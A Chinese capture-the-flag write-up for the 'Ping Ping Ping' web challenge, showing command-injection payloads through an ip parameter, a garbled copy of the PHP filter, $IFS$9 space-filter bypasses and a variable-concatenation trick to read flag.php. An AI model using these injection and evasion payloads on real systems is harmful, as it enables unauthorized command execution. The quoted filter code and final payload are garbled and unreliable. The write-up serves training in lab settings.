一、题目

Ping Ping Ping

二、靶机信息链接

靶机信息
剩余时间: 10072s
http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81

三、靶机链接页面

CTF_Web_GXYCTF2019 Ping Ping Ping靶机照片

四、 分析

因题目是Ping...再加上靶机页面有“/?ip=”
可能是 ping地址,尝试按照所给的内容在url中加入地址,如:http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81/?ip=192.168.0.1
CTF_Web_GXYCTF2019 Ping Ping Ping 尝试ping后显示的内容

4.1找文件

根据大佬解题的思路,我们来找文件,进行测试。
可以利用拼接命令,在/?ip=210.0.0.1后面用拼接符与查看命令连接起来

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。

尝试输入:/?Ip=210.0.0.1&&ls (ls:查找文件)

发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行

————————————————
尝试输入:/?Ip=210.0.0.1||ls ||或
如上图,“||”会有效果—显示了两个后缀为“php”的文件名.
“|”
|

4.2文件名分析(显示文件内容)

4.1找文件测试中,发现flag.php文件,或许我们要找的flag就在其中。通过显示文件内容指令cat
根据大佬的测试,我们也做了测试:/?ip=192.168.0.1|cat%20flag.php
通过大佬的分析得知是提示我们,空格被过滤了
/?ip=192.168.0.1|cat%20flag.php

4.3flag测试

拼接flag(使用“|”),测试发现flag也被过滤了
flag

4.4符号测试

符号也被过滤了
{}

4.5

$IFS$9并没有被过滤掉
发现$IFS$9可以
`/?ip= /?ip= |‘|“|\|(|)|[|]|{|}/”, $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|“|\|(|)|[|]|{|}/”,
$ip, $match);
die(“fxck your symbol!”); } else if(preg_match(“/ /”, $ip)){
die(“fxck your space!”); } else if(preg_match(“/bash/”, $ip)){
die(“fxck your bash!”); } else if(preg_match(“/.*f.*l.*a.g./”, $ip)){
die(“fxck your flag!”); } a=shellexec("ping−c4".a = shell_exec("ping -c 4 ".a=shellexec("pingc4".ip); echo " "; print_r($a); }

?>`

$IFS$9:CTF中若space被过滤了,用来代表space以分割字符/单词。
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

五、解决

既然flag被过滤掉了,那我们就避开正则表达式的过滤。
间接地查看flag.php文件内容。

六、查看该文件

6.1法一

变量拼接字符串。
/?ip=210.0.0.1;b=ag.php;b=fl;cat$IFS$9$a$b

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐